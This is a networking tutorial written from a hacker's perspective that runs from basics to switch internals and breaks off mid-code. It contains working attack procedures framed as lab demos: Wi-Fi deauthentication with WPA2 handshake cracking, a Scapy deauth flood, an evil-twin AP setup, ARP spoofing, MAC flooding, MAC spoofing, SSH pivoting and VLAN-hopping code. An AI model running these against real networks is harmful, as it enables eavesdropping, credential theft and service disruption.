DCN (computer networking)
Covers networking concepts, infrastructure, network operations, network security, and network troubleshooting. After this your ability not only to define networking terms but to apply networking concepts to real scenarios diagnosing faults, identifying misconfigurations, and recommending appropriate solutions. Networking is the terrain on which all attacks and defences occur. The OSI model describes communication as seven layers, each with a distinct responsibility, and every attack and defence operates at a specific layer or combination of layers. TCP/IP is the practical protocol suite of the internet, with IP handling addressing and routing, TCP providing reliable connection-oriented communication through the three-way handshake, and UDP providing low-overhead connectionless communication. IP addressing, subnetting, and CIDR notation determine how networks are structured and segmented. DNS resolves hostnames to IP addresses and is a significant attack surface. DHCP automates address assignment but is vulnerable to rogue server attacks. NAT extends IPv4 addresses but is not a security control. VPNs encrypt traffic across untrusted networks. Firewalls control traffic based on rules, and IDS and IPS systems detect and optionally block intrusions.
The tools that make this knowledge operational are Nmap for discovering hosts and services, Wireshark for capturing and analysing packets, and Ping and Traceroute for measuring reachability and mapping network paths.

Introduction To DCN (computer networking)
Content Overview
- Networking for Hackers
- 1. Foundations (Beginner Level)
- 1.1 What is Data Communication?
- Practical Demo – Understanding Data Flow
- 1.2 Signals and Transmission
- Practical Demo – Signal Analysis
- 1.3 Transmission Media
- Practical Demo – Examining Transmission Media
- 1.4 Network Types
- Practical Demo – Exploring Network Types
- 1.5 Network Topologies
- Practical Demo – Understanding Network Topologies
- Practical Exercise – Building and Testing a Network Topology
- 2. Network Hardware & Devices
- 2.1 NIC (Network Interface Card)
- Practical Demo – Working with MAC Addresses and ARP
- 2.2 Layer 1 Devices
- Practical Demo – Observing Hub vs Switch Behaviour
- 2.3 Layer 2 Devices
- Practical Demo – Switch Operations and Attacks
- 2.4 Layer 3 Devices
- Practical Demo – Router Operations
- 2.5 Security Devices
- Practical Demo – Firewall Configuration
- 2.6 Wireless Devices
- Practical Demo – Wireless Attacks
- 3. Network Models & Architecture
- What is Networking?
- OSI Model (7 Layers)
- The OSI Model: How Data Actually Travels
- Layer 7: Application Layer
- Layer 6: Presentation Layer
- Layer 5: Session Layer
- Layer 4: Transport Layer
- Layer 3: Network Layer
- Layer 2: Data Link Layer
- Layer 1: Physical Layer
- OSI Mnemonic
- Why This Matters for Security
- OSI Model Conceptual Python Implementation
- How Data Travels Through the OSI Model
- Example Wireshark Tool
- TCP/IP Model (4 Layers)
- TCP/IP Layer Details
- Practical Demo – Exploring the OSI Model
- 4. Protocols
- 5. IP Addressing & Subnetting (Core)
- 6. Security
- 7. Troubleshooting & Commands
- 8. Advanced & Enterprise Level
- Certification Path
- Final Professional Learning Order
- Capstone Project: Design, Configure, and Attack a Small Network
- Resources
- Conclusion
Networking for Hackers
Networking is the bloodstream of every attack and every defence. When you exploit a vulnerability, you are sending crafted packets across a network. When you intercept credentials, you are listening to traffic on the wire. When you defend a corporate network, you are configuring firewalls, routing, and segmentation. Without a solid understanding of networking, you will be blind to how attacks happen and how to stop them.
This chapter builds your networking knowledge from absolute beginner to a level that will allow you to pass the CCNA and start thinking like a network security professional. We will cover everything from cables and signals to complex routing protocols, all with a hacker’s perspective – always asking: How can this be attacked? How can this be defended?
We’ll keep the theory practical, use real‑world examples, and finish with a capstone project where you will design, configure, and attack a small network in a lab.
1. Foundations (Beginner Level)
1.1 What is Data Communication?
Data communication is the exchange of information between two or more devices. In the context of security, every attack you will ever perform is a form of data communication – sending malicious payloads, receiving responses, or listening to traffic.
The Basic Model
Source → Medium → Destination
This fundamental model represents how all data travels across any network. Understanding this simple flow is essential because every attack either disrupts this flow, intercepts it, or manipulates it.
Components
- Sender – the device that originates the data. This could be a client computer, a server, or an attacker’s machine launching an exploit. In an attack scenario, the sender is often the attacker’s system sending crafted packets to exploit a vulnerability.
- Receiver – the device that consumes the data. This is the target system that processes incoming information. In a security context, the receiver is typically the victim’s system that receives malicious payloads or requests.
- Message – the information being sent. This is the actual data payload, which could be legitimate traffic, malicious code, or exfiltrated data. Attackers carefully craft messages to evade detection and achieve their objectives.
- Transmission Medium – the physical or wireless path through which data travels. This could be copper cables, fiber optics, or radio waves. Each medium presents different attack surfaces and interception possibilities.
- Protocol – the rules that govern the communication, like a language both sides understand. Protocols define how data is formatted, transmitted, and received. Attackers exploit protocol weaknesses to manipulate communication.
Data Flow Models
- Simplex – communication flows in one direction only (e.g., TV broadcast). The sender transmits data, and the receiver has no way to respond. This model is not useful for most interactive attacks because the attacker cannot receive feedback or control the communication dynamically.
- Half Duplex – communication flows in both directions, but only one direction at a time (e.g., walkie‑talkie). When one party transmits, the other must wait. While this is less common in modern networks, understanding half-duplex is important for legacy systems and certain wireless protocols where timing-based attacks can be effective.
- Full Duplex – communication flows in both directions simultaneously (e.g., telephone, Ethernet). This is the standard for modern networks. Full-duplex allows an attacker to both send exploits and receive responses in real-time, which is essential for interactive attacks, remote shells, and command-and-control operations.
Hacker Insight: When you perform a man‑in‑the‑middle (MITM) attack, you become the “medium” – traffic flows through you. Understanding the direction of flow helps you decide where to place yourself on the network to intercept, modify, or drop packets without being detected. In a full-duplex environment, you can simultaneously read and modify both sides of the conversation.
Practical Demo – Understanding Data Flow
This Python example demonstrates the client-server model that powers all network communication. Run this to see the data flow in action.
Server Code (server.py):
import socket
def start_server(host='127.0.0.1', port=9999):
"""
Creates a TCP echo server that listens for incoming connections.
When a client connects, it receives data and sends back an acknowledgment.
This demonstrates the basic sender-receiver model.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen(1)
print(f"[*] Server listening on {host}:{port}")
print("[*] Waiting for client connection...")
conn, addr = s.accept()
with conn:
print(f"[+] Connection established from {addr[0]}:{addr[1]}")
data = conn.recv(1024)
print(f"[+] Received message: {data.decode()}")
print("[*] Sending acknowledgment back to client...")
conn.sendall(b"ACK: " + data)
print("[+] Data flow completed: Server -> ACK -> Client")
if __name__ == "__main__":
start_server()
Client Code (client.py):
import socket
def send_message(msg="Hello, Server!", host='127.0.0.1', port=9999):
"""
Creates a TCP client that connects to the server, sends a message,
and receives a response. This demonstrates the complete data flow
from sender (client) through medium (network) to receiver (server)
and back.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(f"[*] Connecting to server at {host}:{port}...")
s.connect((host, port))
print(f"[+] Connected to server")
print(f"[*] Sending message: '{msg}'")
s.sendall(msg.encode())
response = s.recv(1024)
print(f"[+] Server responded: {response.decode()}")
print("[+] Data flow complete: Client -> Server -> ACK -> Client")
if __name__ == "__main__":
send_message()
How to Run:
- Open two terminal windows
- In terminal 1:
python3 server.py - In terminal 2:
python3 client.py
What You’ll See:
- The server listens for connections
- The client connects and sends “Hello, Server!”
- The server receives the message and sends back an acknowledgment
- The client receives the acknowledgment
This demonstrates the complete data communication cycle: Sender → Medium → Receiver → Medium → Sender response.
1.2 Signals and Transmission
Data travels as signals – electrical voltages, light pulses, or radio waves. The quality of these signals determines how reliable the communication is and how an attacker might disrupt or intercept it.
Signal Types
- Analog – a continuous wave that varies smoothly over time, similar to a sine wave. Analog signals are used in older telephony systems and radio communications. They are inherently easier to intercept because the signal can be tapped without needing to decode digital bits. The continuous nature of analog signals also means interference can be introduced more easily.
- Digital – discrete 0s and 1s represented as square waves. Modern networks use digital signals because they can be encrypted and are more resilient to noise. Digital signals can be regenerated at each hop, ensuring data integrity over long distances. The discrete nature also allows for error detection and correction.
Key Signal Characteristics
| Concept | What It Means | Security Relevance |
|---|---|---|
| Bandwidth | Maximum data rate of a link, measured in Mbps or Gbps. | Higher bandwidth allows attackers to launch faster, more destructive attacks. A volumetric DDoS attack can saturate a high-bandwidth link, causing service disruption. Attackers often target the bandwidth bottleneck. |
| Throughput | Actual achieved data rate in real-world conditions. | Throughput drops significantly during network attacks like SYN floods. Network administrators monitor throughput as a key metric to detect ongoing attacks. Attackers may conduct low-and-slow attacks to avoid drastic throughput changes that would trigger alerts. |
| Latency | Time delay measured in milliseconds between sending and receiving data. | High latency can indicate the presence of a man-in-the-middle proxy that is intercepting and forwarding traffic. Attackers can also introduce latency to slow down responses and cause timeouts. In timing attacks, measuring latency can reveal if a packet was processed or dropped. |
| Jitter | Variation in latency over time. | Jitter is particularly problematic for real-time protocols like VoIP and gaming. Attackers can use jitter to hide malicious traffic patterns, making it appear like normal network variance. Some covert channels exploit jitter to embed data. |
| Crosstalk | Signal leakage between adjacent cables or wires. | Can be physically exploited to eavesdrop on conversations. Specialized equipment can detect crosstalk on unshielded twisted pair cables. High-quality shielded cabling prevents this attack vector. |
| Attenuation | Signal loss as it travels over distance. | Limits the effective range of attacks, especially in wireless environments. Attackers use high-gain antennas to overcome attenuation and reach targets from a distance. Attenuation also affects the reliability of off-site interception attempts. |
| Noise | Unwanted interference that corrupts signals. | Attackers can inject noise to disrupt connections or hide malicious traffic. In wireless networks, jamming devices inject noise to cause denial of service. Covert channels can be hidden within noise patterns. |
Practical Attack Example: Wi‑Fi Deauthentication Attack
When performing a Wi‑Fi deauthentication attack using aireplay-ng, you are injecting noise (deauthentication frames) into the wireless spectrum. This disrupts the legitimate signal and forces a client to disconnect and reconnect. During this reconnection process, the client completes the four-way handshake with the access point, and you capture this handshake. Once captured, you can crack the WPA2 pre-shared key offline using tools like aircrack-ng and a wordlist.
Practical Demo – Signal Analysis
1. Check your network interface signal quality (Linux):
# View wireless signal information
iwconfig
# Output includes:
# - Signal level (dBm): strength of the connection
# - Noise level: background interference
# - Link Quality: percentage of successful frames
2. Measure latency and jitter with ping:
# Send 100 ICMP packets and show detailed statistics
ping -c 100 google.com
# The output shows:
# - min/avg/max latency values
# - standard deviation (indicates jitter)
# - packet loss percentage (indicates interference)
3. View network statistics on Windows:
# Shows detailed interface statistics including bytes sent/received
netstat -e
# Shows active TCP connections with latency information
netstat -t
4. Perform a Wi-Fi deauthentication attack (requires Kali Linux):
# Step 1: Enable monitor mode on your wireless interface
sudo airmon-ng start wlan0
# Step 2: Scan for nearby networks to identify targets
sudo airodump-ng wlan0mon
# Step 3: Capture the handshake (replace with target BSSID and channel)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Step 4: In a separate terminal, deauthenticate the client
# This sends deauth packets that disconnect the client
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# Step 5: Crack the captured handshake offline
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
5. Simulate signal noise injection with Scapy:
from scapy.all import *
# Craft and send a deauthentication frame
# This is the same attack as above but using Python
deauth = RadioTap()/Dot11(addr1="11:22:33:44:55:66",
addr2="AA:BB:CC:DD:EE:FF",
addr3="AA:BB:CC:DD:EE:FF")/Dot11Deauth(reason=7)
# Send 10 deauth frames
for i in range(10):
sendp(deauth, iface="wlan0mon", count=1)
time.sleep(0.5)
1.3 Transmission Media
Guided (Wired) Media
Twisted Pair (UTP/STP) – The most common cabling in LANs. The twisting of the wires helps cancel out electromagnetic interference, making it reliable for short-to-medium distances. UTP stands for Unshielded Twisted Pair, while STP includes a protective shield for additional interference resistance.
| Cable Type | Speed | Maximum Distance | Typical Use |
|---|---|---|---|
| Cat5e | 1 Gbps | 100 m | Home and small business networks |
| Cat6 | 10 Gbps | 55 m | Enterprise networks, high-performance applications |
| Cat6a | 10 Gbps | 100 m | Data centers, advanced enterprise deployments |
T568A / T568B – The two wiring standards for RJ45 connectors. Both achieve the same functionality but reverse the transmit and receive pairs. The choice between them varies by region.
Straight‑through cable – used between different device types (e.g., PC to switch, PC to router). The pin assignments are identical on both ends.
Crossover cable – used between the same device types (e.g., PC to PC, switch to switch). The transmit and receive pairs are crossed so devices can communicate. Modern devices support Auto MDI-X, which automatically detects and adapts to either cable type.
Coaxial – used by cable TV and older Ethernet networks. The single copper center conductor is surrounded by shielding, making it harder to tap than twisted pair. However, it’s bulky, expensive, and has been largely replaced by fiber and twisted pair.
Fiber Optic – uses light pulses transmitted through glass or plastic fibers. Immune to electromagnetic interference and extremely difficult to tap without physically breaking the cable. Data travels at the speed of light, enabling high-speed long-distance communication.
- Single‑Mode – uses a thin core (9 microns) allowing a single light path. Achieves distances up to 100 km. Used in long-haul telecommunications.
- Multi‑Mode – uses a thicker core (50 or 62.5 microns) allowing multiple light paths. Distances up to 2 km. Used in campus networks and shorter runs.
Unguided (Wireless) Media
| Technology | Range | Characteristics | Security Considerations |
|---|---|---|---|
| Wi‑Fi (802.11) | 100 m indoors | Most common wireless LAN. Operates on 2.4 GHz and 5 GHz bands. | Signals extend beyond physical walls, making it easy for attackers to target networks from outside the building. Vulnerable to WPA2/WPA3 exploits, rogue APs, evil twin attacks, deauthentication attacks, and KRACK. |
| Bluetooth | 10–100 m | Short‑range, low-power communication. Used for peripherals, audio devices, and IoT. | Often overlooked in security audits. Vulnerable to BlueBorne (remote execution), bluesnarfing (data theft), and bluejacking (spam). Default PINs and pairing weaknesses are common entry points. |
| Cellular (2G–5G) | Wide area (city/country) | Mobile networks with increasing speeds and encryption. | 4G and 5G offer strong encryption, but fake base stations (Stingrays or IMSI catchers) can intercept traffic, especially on older 2G/3G networks. SS7 vulnerabilities allow international interception of calls and SMS. |
| Satellite | Global | High latency (500-800 ms) but covers remote areas. | Vulnerable to signal jamming due to broadcast nature. Interception requires specialized equipment but is possible. High cost makes it less common for attackers. |
Hacker Note: When you perform a rogue access point attack (evil twin), you are using wireless media to impersonate a legitimate network. The physical layer is your entry point. By setting up a fake access point with the same SSID and channel as the legitimate network, you trick users into connecting to you. Once connected, you can capture credentials, redirect traffic, or perform further exploitation. This demonstrates how understanding transmission media is essential to launching effective attacks.
Practical Demo – Examining Transmission Media
1. Identify your network interfaces and their capabilities (Linux):
# View all network interfaces
ip a
# Show detailed information about a specific interface
ethtool eth0
# The output includes:
# - Supported link modes (10/100/1000Mbps)
# - Speed (current link speed)
# - Duplex (half/full)
# - Auto-negotiation state
2. For wireless interfaces, view detailed signal information:
# Show wireless interface information
iwlist wlan0 scan
# This outputs all nearby wireless networks with:
# - SSID (network name)
# - Channel and frequency
# - Signal strength (dBm)
# - Encryption type (WPA2/WEP/Open)
3. View interface statistics on Windows:
# Show all network adapters and their status
ipconfig /all
# Show detailed interface statistics
netstat -e
4. Create a rogue access point (evil twin) – Warning: Only in controlled lab environments:
# Step 1: Install required tools
sudo apt-get install hostapd dnsmasq
# Step 2: Create hostapd configuration file
cat > hostapd.conf << EOF
interface=wlan0
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF
# Step 3: Create dnsmasq configuration for DHCP and DNS
cat > dnsmasq.conf << EOF
interface=wlan0
dhcp-range=192.168.1.100,192.168.1.200,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
EOF
# Step 4: Start the rogue AP
# (In a real lab, you would run these in separate terminals)
sudo hostapd hostapd.conf &
# Step 5: Start dnsmasq for DHCP
sudo dnsmasq -C dnsmasq.conf -d &
5. Capture wireless traffic with Wireshark (monitor mode):
# Enable monitor mode
sudo airmon-ng start wlan0
# Start Wireshark on the monitor interface
sudo wireshark -i wlan0mon -k
# Filter to see beacon frames (advertise APs):
wlan.fc.type_subtype == 0x08
# Filter to see deauthentication frames:
wlan.fc.type_subtype == 0x0c
1.4 Network Types
Networks are classified by their geographical scope, purpose, and typical applications. Understanding the different network types helps security professionals identify where attackers can operate and what they can access.
| Type | Range | Use Case | Security Implications |
|---|---|---|---|
| PAN (Personal Area Network) | A few meters | Bluetooth connections between phone and headset, USB peripherals, wireless mouse and keyboard, wearable devices. | Often overlooked in security assessments. Vulnerable to Bluetooth attacks, device hijacking, and data interception. Limited range reduces exposure but increases the risk of targeted attacks. |
| LAN (Local Area Network) | Building / Campus | Office networks, school computer labs, home networks. Provides high speed (1-10 Gbps) and low latency (<1ms). | The primary attack surface for internal network compromise. VLAN segmentation is critical for security. One compromised device can spread laterally across the entire LAN. |
| WLAN (Wireless LAN) | Same as LAN | Wi‑Fi connectivity in offices, public spaces, homes. Offers mobility and easy deployment. | Signals extend beyond physical boundaries, enabling external attacks. Encryption (WPA2/WPA3) is essential. Rogue APs and evil twin attacks are common threats. |
| MAN (Metropolitan Area Network) | City-wide | Cable TV networks, municipal Wi‑Fi projects, campus networks connecting multiple buildings across a city. | These networks often pass through public infrastructure, making physical taps and interception possible. May be subject to legal interception and surveillance. |
| WAN (Wide Area Network) | Country / World | The Internet, MPLS networks provided by ISPs connecting branch offices. | The boundary between LAN and WAN is the primary firewall and routing location. WAN connections are often encrypted (VPN, IPsec) to protect data in transit. WAN vulnerabilities can affect entire organizations. |
| CAN (Campus Area Network) | University campus | Interconnected buildings on a university or corporate campus. | Typically combines multiple LANs with a high-speed backbone. Administrative systems and research networks may be on separate segments. Complex segmentation is needed to protect sensitive data. |
| SAN (Storage Area Network) | Data centre | High‑speed networks connecting servers to storage arrays, typically using Fibre Channel or iSCSI. | Storage networks contain the most sensitive data. Unauthorized access to a SAN exposes all organizational data. SANs are often physically isolated for security but may be vulnerable if management interfaces are exposed. |
Security Note: The boundary between a LAN and a WAN is where firewalls and routers sit. This is the first line of defense against external attacks. An attacker who can pivot from a compromised LAN device into the WAN infrastructure can move laterally between different sites or branch offices, potentially compromising the entire organization.
Practical Demo – Exploring Network Types
1. Identify your current network type:
# Linux: Show network configuration
ip a
route -n
# Use traceroute to see how many hops to external networks
traceroute google.com
# Observe:
# - First hop is your router (LAN)
# - Next hops are ISP equipment (WAN)
# - The number of hops indicates network boundaries
2. For Windows users:
# Show network configuration
ipconfig /all
# Trace network path
tracert google.com
# Output shows:
# - Local network hops (1-2)
# - ISP network hops
# - Destination network hops
3. Use Python to discover network types:
import subprocess
import re
def trace_network():
"""Trace network path to identify network boundaries"""
try:
# Run traceroute to google.com
result = subprocess.run(['traceroute', '-n', 'google.com'],
capture_output=True, text=True)
lines = result.stdout.split('\n')
print("Network Path Analysis:")
print("-" * 50)
for i, line in enumerate(lines[:15]): # First 15 hops
if line.strip() and i > 0:
# Extract IP addresses from the line
ips = re.findall(r'\d+\.\d+\.\d+\.\d+', line)
if ips:
print(f"Hop {i}: {ips[0]}")
if i < 2:
print(" → This is likely on your local LAN")
elif i < 5:
print(" → This is likely your ISP's network (WAN)")
else:
print(" → This is on the internet backbone")
except Exception as e:
print(f"Error: {e}")
trace_network()
4. Simulate a lateral movement attack (conceptual):
# On a compromised internal machine
# Discover other hosts on the LAN
nmap -sn 192.168.1.0/24
# If you find a gateway with external connectivity
# Use SSH port forwarding to pivot to the WAN
ssh -L 8443:internal-server:443 user@gateway
1.5 Network Topologies
Topology defines how devices are physically or logically connected to each other. The choice of topology affects network performance, reliability, and security.
| Topology | Description | Pros | Cons | Security Implications |
|---|---|---|---|---|
| Star | All devices connect to a central switch or hub. | Easy to manage, fault-tolerant to single cable breaks, simple troubleshooting. | Central switch is a single point of failure. Requires more cabling than bus topology. | The central switch is a high‑value target. Compromising the switch (VLAN hopping, MAC flooding) compromises the entire network. |
| Bus | A single backbone cable connects all devices. | Cheap, simple to implement, requires less cabling. | A single break brings down the entire network, performance degrades with more devices. | All devices see all traffic (if using a hub), making sniffing trivial. A single point of failure. |
| Ring | Devices form a closed loop where each device connects to two others. | Deterministic, no collisions, predictable performance. | A single break breaks the entire loop; adding/removing devices interrupts the network. | Can be vulnerable to token theft attacks. One compromised device can disrupt the entire ring. |
| Mesh | Every device connects to every other device. | Highly redundant, no single point of failure, multiple paths. | Expensive, complex, difficult to manage, requires many ports. | High redundancy complicates monitoring. Multiple paths create multiple opportunities for attackers to intercept traffic. |
| Hybrid | Combination of topologies (e.g., star‑bus, star‑ring, tree). | Real‑world networks use hybrid designs to balance cost, redundancy, and manageability. | Complexity in design and troubleshooting. | Security must be considered at multiple points. Weakness in one topology type can affect the entire hybrid network. |
Hacker Perspective: In a star topology, the switch is the most valuable asset. If you can compromise the switch through VLAN hopping, MAC flooding, or SNMP exploitation, you effectively own the entire network segment and can intercept all traffic. In mesh topologies, the multiple paths provide redundancy but also create opportunities for attackers to position themselves in the network flow.
Practical Demo – Understanding Network Topologies
1. Discover your network topology with traceroute:
# Traceroute shows the path your packets take
traceroute google.com
# Each hop is a network device (router/switch)
# Multiple paths indicate a mesh or hybrid topology
2. Use nmap to discover live hosts on your network:
# Scan for active devices on your network
nmap -sn 192.168.1.0/24
# This reveals how many devices are connected
# In a star topology, all devices appear on the same segment
# In a bus topology, they would also appear on the same segment
3. View the CAM table on a switch (requires managed switch access):
# On a Cisco switch
show mac-address-table
# This shows all learned MAC addresses
# Multiple MACs on one port = multiple hosts behind that port
# This indicates a star or tree topology
4. Network topology simulation (Python):
import networkx as nx
import matplotlib.pyplot as plt
def visualize_topology():
"""Visualize different network topologies"""
# Star topology
star = nx.star_graph(5)
plt.figure(figsize=(12, 4))
plt.subplot(1, 3, 1)
nx.draw(star, with_labels=True, node_color='lightblue',
node_size=500, font_size=10)
plt.title("Star Topology")
# Ring topology
ring = nx.cycle_graph(6)
plt.subplot(1, 3, 2)
nx.draw_circular(ring, with_labels=True, node_color='lightgreen',
node_size=500, font_size=10)
plt.title("Ring Topology")
# Mesh topology (partial)
mesh = nx.complete_graph(4)
plt.subplot(1, 3, 3)
nx.draw(mesh, with_labels=True, node_color='lightcoral',
node_size=500, font_size=10)
plt.title("Mesh Topology")
plt.tight_layout()
plt.show()
# Uncomment to run (requires matplotlib and networkx)
# visualize_topology()
Practical Exercise – Building and Testing a Network Topology
Exercise: Create a small star topology network (Linux):
# Step 1: Create network namespaces (simulate devices)
sudo ip netns add pc1
sudo ip netns add pc2
sudo ip netns add pc3
# Step 2: Create virtual Ethernet pairs
sudo ip link add veth1 type veth peer name veth1-br
sudo ip link add veth2 type veth peer name veth2-br
sudo ip link add veth3 type veth peer name veth3-br
# Step 3: Connect to namespaces
sudo ip link set veth1 netns pc1
sudo ip link set veth2 netns pc2
sudo ip link set veth3 netns pc3
# Step 4: Create a bridge (simulate central switch)
sudo brctl addbr br0
sudo ip link set dev br0 up
# Step 5: Add interfaces to the bridge
sudo brctl addif br0 veth1-br
sudo brctl addif br0 veth2-br
sudo brctl addif br0 veth3-br
# Step 6: Set up IP addresses
sudo ip netns exec pc1 ip addr add 192.168.1.10/24 dev veth1
sudo ip netns exec pc1 ip link set veth1 up
sudo ip netns exec pc2 ip addr add 192.168.1.20/24 dev veth2
sudo ip netns exec pc2 ip link set veth2 up
sudo ip netns exec pc3 ip addr add 192.168.1.30/24 dev veth3
sudo ip netns exec pc3 ip link set veth3 up
# Step 7: Test connectivity (star topology in action)
sudo ip netns exec pc1 ping -c 3 192.168.1.20
sudo ip netns exec pc2 ping -c 3 192.168.1.30
# Step 8: View the bridge table (CAM table equivalent)
sudo brctl showmacs br0
# This shows which MAC addresses are on which ports
# In a star topology, all devices should be on the bridge
2. Network Hardware & Devices
2.1 NIC (Network Interface Card)
Every device that connects to a network has a NIC – a hardware chip that handles the physical and data-link layers. Each NIC has a MAC address – a 48-bit globally unique identifier.
Key Concepts
- BIA (Burned-in Address) – the hardware MAC address programmed into the NIC at the factory. This address is theoretically permanent, though it can be spoofed in software.
- OUI (Organizationally Unique Identifier) – the first 24 bits of the MAC address identify the manufacturer. For example, all NICs from a specific vendor start with the same OUI.
- Ethernet vs Wi-Fi NICs – these are different physical layers but both use MAC addressing at the data-link layer.
- ARP (Address Resolution Protocol) – maps an IP address to a MAC address. Attackers use ARP spoofing to redirect traffic through their machine.
Security Implications
- MAC Address Spoofing – attackers can change their MAC address to bypass MAC-based filtering or impersonate legitimate devices.
- ARP Spoofing – attackers send forged ARP replies to associate their MAC with the gateway’s IP, making all traffic flow through them. This enables man-in-the-middle attacks, session hijacking, and credential theft.
Practical Example: Run ipconfig /all (Windows) or ifconfig (Linux) to see your MAC address. In an ARP spoofing attack, you send forged ARP replies to associate your MAC with the gateway’s IP, making all traffic flow through you.
Practical Demo – Working with MAC Addresses and ARP
1. View your MAC address:
# Linux
ifconfig
# or
ip link show
# Windows
ipconfig /all
# Look for "Physical Address" or "ether" followed by 6 pairs of hex digits
2. View and manipulate the ARP cache:
# View ARP cache on Linux
arp -a
# View ARP cache on Windows
arp -a
# Add a static ARP entry (to prevent spoofing)
sudo arp -s 192.168.1.1 AA:BB:CC:DD:EE:FF
# Delete an ARP entry
sudo arp -d 192.168.1.1
3. Perform ARP spoofing (requires Kali Linux – only in lab):
# Step 1: Enable IP forwarding to act as a router
echo 1 > /proc/sys/net/ipv4/ip_forward
# Step 2: Spoof the router's IP to the victim
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# Step 3: In a separate terminal, spoof the victim's IP to the router
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
# Traffic now flows through the attacker's machine
4. Detect ARP spoofing:
# Look for duplicate MAC addresses with different IPs
arp -a | sort
# Use arpwatch to monitor ARP changes
sudo apt-get install arpwatch
sudo arpwatch -i eth0
5. Python script to spoof MAC address:
import subprocess
def change_mac(interface, new_mac):
"""Change MAC address of a network interface"""
try:
# Bring interface down
subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'])
# Change MAC
subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'address', new_mac])
# Bring interface up
subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'])
print(f"[+] MAC address changed to {new_mac} on {interface}")
except Exception as e:
print(f"[-] Failed to change MAC: {e}")
# Example usage (requires root)
# change_mac('eth0', '00:11:22:33:44:55')
2.2 Layer 1 Devices
Repeater
A repeater regenerates the signal to extend the distance a signal can travel. It operates purely at the physical layer, reading incoming bits and re-emitting them at higher power. Repeaters have no intelligence about the data they pass.
Security Implications: Repeaters make the network more susceptible to interference by amplifying both legitimate signals and injected noise. They provide no security features and can be used by attackers to extend their reach into physical areas they shouldn’t access.
Hub
A hub is a multi‑port repeater. It sends incoming data out all ports except the one it arrived on. No intelligence is involved – every device connected to a hub sees every other device’s traffic.
Security Implications: Hubs are obsolete because anyone connected to a hub can sniff everyone else’s traffic using a packet sniffer like Wireshark. There is no isolation between connected devices. Modern networks use switches, which are intelligent and only forward traffic to the intended recipient.
Why Hubs Are Insecure: All traffic is broadcast to all ports, meaning:
- Every connected device can see all network traffic
- No privacy between devices on the same hub
- Easy for attackers to capture passwords and sensitive data
- No way to control who can sniff traffic
Practical Demo – Observing Hub vs Switch Behaviour
1. Capture traffic on a hub network (simulated):
# Start Wireshark on the interface connected to the hub
sudo wireshark -i eth0
# You will see ALL traffic from ALL devices on the hub
# This is how an attacker captures credentials on a hub network
2. Simulate a hub using a network bridge:
# Create a bridge (behaves like a hub initially)
sudo brctl addbr hub0
sudo ip link set hub0 up
# Add interfaces to the bridge
sudo brctl addif hub0 eth1
sudo brctl addif hub0 eth2
# Disable MAC learning (simulates a hub)
echo 0 > /sys/class/net/hub0/bridge/ageing_time
# Now the bridge floods all traffic to all ports - just like a hub
3. Observe traffic flooding on a hub:
from scapy.all import *
def sniff_hub_traffic():
"""Sniff all traffic on a hub-like network"""
print("[*] Sniffing all traffic (hub mode)...")
print("[*] Press Ctrl+C to stop")
def packet_handler(packet):
if packet.haslayer(IP):
print(f"SRC: {packet[IP].src} -> DST: {packet[IP].dst}")
if packet.haslayer(Raw):
print(f" Data: {packet[Raw].load[:50]}...")
sniff(prn=packet_handler, store=0)
# Uncomment to run (requires root)
# sniff_hub_traffic()
2.3 Layer 2 Devices
Bridge
A bridge connects two network segments and learns MAC addresses to forward only necessary traffic. It operates at the data-link layer and makes forwarding decisions based on MAC addresses.
How Bridges Work:
- Bridge listens to all traffic on both segments
- It builds a MAC address table mapping MACs to segments
- When a frame arrives, it checks the destination MAC
- If the destination is on the same segment, the bridge blocks the frame
- If the destination is on the other segment, the bridge forwards it
- If the destination is unknown, the bridge floods the frame
Security Implications: Bridges create a security boundary between segments. An attacker who compromises a bridge can bypass this boundary and access both segments.
Switch
A switch is the core device of modern LANs. It is essentially a multi-port bridge with many advanced features.
- CAM Table (Content Addressable Memory) – stores MAC‑to‑port mappings. The switch learns which MAC addresses are on which ports by examining the source MAC of incoming frames.
- VLAN (Virtual LAN) – logically separates broadcast domains. VLANs allow network administrators to segment a physical switch into multiple logical networks, improving security by isolating traffic.
- Trunking (802.1Q) – carries multiple VLANs over a single link. Trunk ports are used to connect switches together or to connect a switch to a router.
- STP (Spanning Tree Protocol) – prevents loops by blocking redundant paths. Without STP, networks with redundant links would create broadcast storms that cripple the network.
Hacker Tricks
- CAM Table Overflow – an attacker sends thousands of random MAC addresses to fill the switch’s CAM table. When the table fills up, the switch may fall back to hub‑like behaviour, flooding all traffic to all ports. This allows the attacker to sniff traffic from other VLANs.
- VLAN Hopping – an attacker sends double‑tagged frames (802.1Q) to jump between VLANs. The outer tag is stripped by the first switch, and the inner tag allows the frame to reach a different VLAN than it originated from.
- ARP Spoofing on Switches – even with switches, ARP spoofing works because ARP operates at layer 2. The attacker sends forged ARP replies to redirect traffic.
Practical Demo – Switch Operations and Attacks
1. View the CAM table on a Cisco switch:
# View MAC address table (CAM table)
show mac-address-table
# View VLAN information
show vlan brief
# View trunk ports
show interfaces trunk
2. Perform MAC flooding (requires Kali Linux – only in lab):
# Using macof (part of dsniff package)
sudo macof -i eth0
# This sends thousands of random MAC addresses to flood the CAM table
# The switch will eventually fail open, behaving like a hub
3. VLAN hopping with double-tagged frames (Scapy):
from scapy.all import *
def vlan_hop(source_mac, dest_mac, outer_vlan, inner_vlan, payload):
"""
Send a double-tagged VLAN frame to hop between VLANs.
This exploits the fact that many switches strip the outer tag
and forward the inner tag.
"""
# Create an Ethernet frame with two VLAN tags
frame = Ether(src=source_mac, dst=dest_mac) / \
Dot1Q(vlan=outer_vlan) / \
Dot1Q(vlan=inner_vlan) / \
IP(src="10.10.10.1", dst="10.10.20.1") / \
